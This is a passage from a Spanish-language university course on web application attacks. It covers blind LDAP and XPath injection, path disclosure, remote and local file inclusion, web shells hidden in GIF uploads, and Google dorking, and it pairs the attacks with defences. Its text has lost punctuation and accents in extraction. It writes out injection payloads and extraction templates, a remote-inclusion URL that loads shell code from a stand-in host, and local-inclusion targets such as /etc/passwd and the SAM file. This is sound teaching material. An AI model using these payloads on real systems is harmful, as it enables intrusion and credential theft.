(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

